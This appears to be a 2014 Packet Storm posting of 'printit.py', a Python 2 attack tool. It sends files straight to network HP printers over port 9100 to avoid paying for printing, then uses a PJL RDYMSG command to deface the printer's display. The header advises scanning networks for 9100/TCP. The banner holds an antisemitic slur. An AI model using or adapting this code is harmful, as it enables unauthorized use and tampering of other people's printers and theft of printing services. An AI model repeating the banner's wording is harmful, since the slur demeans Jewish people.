Printer Job Language Abuse Tool

2014-02-17T00:00:00
ID PACKETSTORM:125255
Type packetstorm
Reporter infodox
Modified 2014-02-17T00:00:00

Description

                                        
                                            `#!/usr/bin/python2  
"""  
printit.py - sends postscript files to printers.  
Never pay extortionate prices for printing again!  
  
Author: Darren "infodox" Martyn  
Twitter: @info_dox  
Licence: WTFPL - wtfpl.net  
Bitcoins: 1PapWy5tKx7xPpX2Zg8Rbmevbk5K4ke1ku  
Version: 20140109.1  
Changes:  
* Added ReadyMessage functionality.  
Credit to HTP for the flash function, which I  
do dearly love using so much in my code.  
  
Notes:  
To obtain printers, I advise scanning for 9100/TCP  
on local networks. You will be delighted to find  
that you can often figure out where they physically  
are by looking around.  
  
This also sets the ReadyMessage on popped printers  
to a new message, which allows other users to learn  
that the printer has been liberated.  
  
There are also SHODAN queries you can use to find  
printers, but those printers will not be ones you  
presumably have permission to use, therefore, you  
flooding them with documents* to print is probably  
illegal and/or unethical, so do try to avoid that.  
  
* Documents I do not suggest you ever print are  
including hello.jpg.ps, myriad shock images, or  
Printer Liberation Task Force propeganda pages.  
  
http://www.youtube.com/watch?v=izHGejDNJCE  
"""  
import socket  
import sys  
import time  
  
cyan = "\x1b[1;36m"  
clear = "\x1b[0m"  
red = "\x1b[1;31m"  
green = "\x1b[0;32m"  
  
def flash(color,text,times):  
sys.stdout.write(text)  
line1 = "\x0d\x1b[2K%s%s" % (color,text)  
line2 = "\x0d\x1b[2K%s%s" % (clear,text)  
for x in range(0,times):  
sys.stdout.write(line1)  
sys.stdout.flush()  
time.sleep(.2)  
sys.stdout.write(line2)  
sys.stdout.flush()  
time.sleep(.2)  
print line1 + clear  
  
def msg_pass(msg):  
flash(green, "{*} " + msg, 3)  
  
def msg_fail(msg):  
flash(red, "{!} " + msg, 3)  
  
def banner():  
""" Every leet tool needs a banner dawg """  
print """%s  
__________ .__ __ .___ __   
\\______ \_______|__| _____/ |_| |/ |_   
| ___/\_ __ \ |/ \\ __\\ \\ __\\  
| | | | \\/ | | \\ | | || |   
|____| |__| |__|___| /__| |___||__|   
\/   
PrintIt.py - Never pay for printing again!  
Uses PJL (Printer Job Language) "feature"  
to directly send files to network-enabled  
HP printers, bypassing any rubbish stuff  
that wants you to pay precious jewgold!  
  
"Remember, hacking is more than just a crime.  
It's a survival trait." - Razor  
%s""" %(cyan, clear)  
  
def usage(progname):  
""" Usage, should be done like this. """  
print "%s <printer ip address> <PJL port> <postscript file>" %(progname)  
print "Default PJL Port is 9100, so I suggest using that"  
sys.exit(0)  
  
def printit(ip, port, thefile):  
""" I suffer a serious excessive amount of error checking with try/except here, don't hate me!"""  
print "%s{+} Starting the printing process...%s" %(green, clear)  
try:  
msg_pass("Opening %s for reading" %(thefile))  
f = open(thefile, "rb")  
except Exception, e:  
msg_fail("Exception in opening file! Printing stack trace...")  
print e  
sys.exit(0)  
try:  
msg_pass("Reading in file..")  
thestuff = f.read()  
except Exception, e:  
msg_fail("Exception in reading file! Printing stack trace...")  
print e  
sys.exit(0)  
try:  
msg_pass("Creating socket for connection...")  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
except Exception, e:  
msg_fail("Socket creation failed! Printing stack trace...")  
print e  
sys.exit(0)  
try:  
msg_pass("Connecting to %s:%s" %(ip, port))  
s.connect((ip, int(port)))  
except Exception, e:  
msg_fail("Connection Failure! Is the printer there? Printing stack trace...")  
print e  
sys.exit(0)  
try:  
msg_pass("Sending the file data...")  
s.send(thestuff)  
except Exception, e:  
msg_fail("File sending failed, printing stack trace...")  
print e  
sys.exit(0)  
msg_pass("Congratulation! File should be printing... Cleaning up.")  
s.close()  
f.close()  
  
def message_of_liberation(ip, port):  
""" Alters the Ready Message on the printers used for a giggle."""  
print "%s{+} Preparing to deliver messages of liberation...%s" %(green, clear)  
try:  
msg_pass("Creating socket for connection...")  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
except Exception, e:  
msg_fail("Socket creation failed! Printing stack trace...")  
print e  
sys.exit(0)  
try:  
msg_pass("Connecting to %s:%s" %(ip, port))  
s.connect((ip, int(port)))  
except Exception, e:  
msg_fail("Connection Failure! Is the printer there? Printing stack trace...")  
print e  
sys.exit(0)  
try:  
msg_pass("Changing the ReadyMessage to 'Insert Coins'")  
message = "Insert Coins"  
pjl_cmd = '\x1B%-12345X @PJL RDYMSG DISPLAY="' + message + '"' # This needs more testing, some printers dont like it  
s.send(pjl_cmd)  
except Exception, e:  
msg_fail("ReadyMessage Alteration Failure. Insert coins?")  
print e  
sys.exit(0)  
print "%s{+} Messages of Freedom Delivered!%s" %(green, clear)  
s.close()  
  
def main(args):  
banner()  
if len(sys.argv) != 4:  
usage(sys.argv[0])  
printit(sys.argv[1], sys.argv[2], sys.argv[3])  
message_of_liberation(sys.argv[1], sys.argv[2])  
  
if __name__ == "__main__":  
main(sys.argv)  
# _EOF  
  
`